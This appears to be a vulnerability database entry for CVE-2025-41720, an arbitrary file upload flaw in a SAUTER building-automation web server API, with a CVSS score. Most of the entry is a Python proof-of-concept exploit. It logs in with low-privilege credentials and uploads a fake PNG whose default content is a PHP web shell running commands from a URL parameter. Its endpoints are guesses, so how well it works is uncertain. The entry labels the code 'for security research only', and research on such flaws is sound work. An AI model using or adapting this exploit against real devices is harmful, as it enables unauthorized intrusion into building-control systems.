A low privileged remote attacker can upload arbitrary data masked as a png file to the affected device using the webserver API because only the file extension is verified.
CVSS Details
CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Configurations (Affected Products)
No configuration data available.
SAUTER楼宇自动化设备Web服务器API(具体版本待官方确认)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
# CVE-2025-41720 - SAUTER Web API Arbitrary File Upload PoC
# Exploits insufficient file validation (extension-only check)
import requests
import argparse
import sys
TARGET_URL = "http://{host}:{port}/api/upload" # Adjust endpoint as needed
DEFAULT_CREDS = ("user", "password") # Low-privilege credentials
def create_malicious_png(payload: str) -> bytes:
"""
Create a file with .png extension containing arbitrary payload.
The server only checks the file extension, so actual content is irrelevant.
"""
# PNG magic bytes (optional - server doesn't validate content)
png_header = b"\x89PNG\r\n\x1a\n"
# Embed malicious payload after the PNG header
malicious_content = png_header + payload.encode('utf-8')
return malicious_content
def upload_file(session, url, filename, content):
"""Upload a malicious file disguised as PNG to the target API."""
files = {
'file': (filename, content, 'image/png')
}
headers = {
'User-Agent': 'Mozilla/5.0 (compatible; SAUTER-Exploit/1.0)'
}
try:
response = session.post(url, files=files, headers=headers, timeout=10)
return response
except requests.exceptions.RequestException as e:
print(f"[ERROR] Request failed: {e}")
return None
def main():
parser = argparse.ArgumentParser(description="CVE-2025-41720 PoC - SAUTER Arbitrary File Upload")
parser.add_argument("--host", required=True, help="Target device IP/hostname")
parser.add_argument("--port", default="80", help="Target port (default: 80)")
parser.add_argument("--username", default=DEFAULT_CREDS[0], help="Username")
parser.add_argument("--password", default=DEFAULT_CREDS[1], help="Password")
parser.add_argument("--payload", default="<?php system($_GET['cmd']); ?>",
help="Malicious payload to upload")
parser.add_argument("--filename", default="exploit.png",
help="Filename with .png extension")
args = parser.parse_args()
target = TARGET_URL.format(host=args.host, port=args.port)
print(f"[*] Target: {target}")
print(f"[*] Authenticating as: {args.username}")
session = requests.Session()
# Step 1: Authenticate with low-privilege credentials
login_url = f"http://{args.host}:{args.port}/api/login"
session.post(login_url, data={"username": args.username, "password": args.password})
# Step 2: Create malicious content with .png extension
malicious_file = create_malicious_png(args.payload)
print(f"[*] Created malicious file ({len(malicious_file)} bytes)")
# Step 3: Upload the file
print(f"[*] Uploading {args.filename}...")
response = upload_file(session, target, args.filename, malicious_file)
if response and response.status_code in [200, 201]:
print(f"[+] Upload successful! Status: {response.status_code}")
print(f"[+] File accessible at: http://{args.host}:{args.port}/uploads/{args.filename}")
else:
print(f"[-] Upload failed. Status: {response.status_code if response else 'N/A'}")
sys.exit(1)
if __name__ == "__main__":
main()